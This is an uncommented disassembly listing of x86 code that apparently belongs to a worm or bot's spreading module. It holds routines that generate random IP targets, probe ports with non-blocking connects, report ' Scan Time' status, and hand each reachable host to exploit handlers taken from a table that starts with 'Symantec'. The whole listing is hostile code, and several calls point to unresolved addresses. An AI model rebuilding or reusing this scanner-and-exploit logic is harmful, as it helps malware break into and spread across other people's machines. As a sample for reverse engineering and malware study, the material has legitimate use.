		push	dword_4CDAB0
		lea	eax, [ebp+var_200]
		push	dword_4CDAAC
		push	offset unk_4317FC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCF4
		push	offset unk_431844
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431890
		push	eax
		call	sub_41B886
		cmp	dword_431440, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431880
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi

loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFE4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431440, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431440
		mov	eax, ebx

loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318E0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]

loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2

loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318AC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 2C45ABE8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0F0[eax*8]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431930
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------

loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431910
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43144C[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD1AC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD3BC, eax
		mov	dword_4CD3B8, ebx
		nop
		call	near ptr 2660000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD2B0
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD1A8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD440, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------

loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, ebx

loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD3BC
		push	offset unk_42BE90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD3B4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD1A8
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, dword_4CD3B4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BC08

loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD448, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------

loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 2670914h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A50
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACE0
		mov	esi, offset dword_4CD454
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD664, eax
		mov	dword_4CD660, ebx
		nop
		call	near ptr 2660000h
		push	103h
		push	edi
		push	offset dword_4CD558
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD450, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6E8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------

loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, ebx

loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD664
		push	offset unk_431A1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD65C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD450
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, dword_4CD65C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BD2C

loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6F0, ebx
		jnz	short loc_40BD47
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------

loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2670914h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319E8
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431454[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCEC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD114, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD108, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD110, ebx
		mov	dword_4CD198, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------

loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, ebx

loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD114
		lea	eax, [ebp+var_204]
		push	offset unk_4319B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD10C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD108
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, dword_4CD10C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BE4F

loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD1A0, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------

loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2670914h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431980
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]

loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431450[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD984
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl

loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA9C, ebx
		mov	dword_4CDA88, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6FC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6F8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA88
		mov	dword_4CDA94, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA98, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BE18
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA90, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6F8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, dword_4CDA90
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BF77

loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDAA4, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------

loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2670914h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43194C
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0F0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAECC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAFA0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------

loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax

loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax

loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax

loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2

loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0F0[ecx*8], eax

loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------

loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAFA4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF8C
		push	esi
		mov	edi, eax
		call	dword_4CB03C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26808E8h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEE4[ebx]
		cmp	dword_4CB0F4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------

loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3

loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEE4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431AAC
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCE0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0F0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A84
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]

loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h

loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0F0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------

loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]

loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431444[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 2670000h
		jmp	loc_40C16B
; ---------------------------------------------------------------------------

loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26D0000h
		nop

loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFE4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0F0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0F0
		push	esi
		nop
		call	near ptr 26D07D6h
		push	80000400h
		push	esi
		nop
		call	near ptr 26D05E1h
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B90
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0F4[eax*8], ebx
		xor	ebx, ebx
